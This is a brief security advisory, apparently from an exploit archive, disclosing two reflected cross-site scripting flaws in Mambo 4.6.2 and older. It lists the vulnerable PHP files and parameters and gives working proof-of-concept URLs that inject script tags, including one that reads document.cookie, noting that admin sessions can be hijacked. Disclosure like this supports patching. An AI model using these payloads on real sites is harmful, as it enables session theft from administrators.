mambo462-morexss.txt

`----------------------------------------------------------------  
  
Script : Mambo 4.6.2 Full & Older Versions  
  
Type : Multiple Cross Site Scripting Vulnerabilities  
  
Alert Level : Medium  
  
----------------------------------------------------------------  
  
Download From : http://surfnet.dl.sourceforge.net/sourceforge/mambo/MamboV4.6.2.zip  
  
----------------------------------------------------------------  
  
Discovered by : Khashayar Fereidani  
  
My Website : HTTP://FEREIDANI.IR  
  
Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com  
  
----------------------------------------------------------------  
  
Cross Site Scripting Vulnerability 1 :  
  
Vulnerable File : administrator/popups/index3pop.php  
  
Vulnerable Line (5) : <title><?php echo $mosConfig_sitename; ?> - Administration [Mambo]</title>  
  
Vulnerable Variable : mosConfig_sitename  
  
For Example : http://Example/administrator/popups/index3pop.php?mosConfig_sitename=</title><script>alert(document.cookie)</script>  
  
Attacker can hijack administrator cookie and session and login with they   
  
----------------------------------------------------------------  
  
Cross Site Scripting Vulnerability 2 :  
  
Vulnerable File : mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?  
  
Vulnable Variable : Any Variable - You can set any variable ....  
  
For Example set (hacker) variable : http://Example/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?khashayar=<script>alert('xss')</script>  
  
you can set cross site scripting code in variable name : http://Example/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?<script>alert('xss')</script>=Hello+Word  
  
----------------------------------------------------------------  
  
Tnx : God  
  
HTTP://IRCRASH.COM HTTP://FEREIDANI.IR  
  
----------------------------------------------------------------  
`